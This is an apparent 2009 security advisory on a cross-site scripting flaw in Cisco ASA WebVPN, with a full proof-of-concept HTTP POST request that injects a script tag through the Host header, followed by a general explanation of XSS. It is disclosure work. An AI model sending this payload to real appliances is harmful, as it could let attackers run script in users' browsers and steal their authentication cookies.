Apr
26
2009

Cisco ASA WebVPN Cross Site Scripting Vulnerability

An article by Fabio Semperboni

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Cisco ASA is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Cisco ASA software versions 8.0.4(2B) and prior running on ASA 5500 Series Adaptive Security Appliances are vulnerable.

Test vulnerability:
An attacker can exploit this issue by enticing an unsuspecting victim to follow a malicious HTTP request.

POST /+webvpn+/index.html HTTP/1.1

Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""

content='"www.example.org

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, application/vnd.ms-excel,

application/vnd.ms-powerpoint, application/msword, */*

Referer: https://www.example.com/+webvpn+/index.html

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR 1.1.1032)

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: webvpnlogin=1

Content-Length: 66

username=psirt&password=easy&Login=Login&next=&tgroup=&tgcookieset=

What is Cross-site scripting?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy.

References: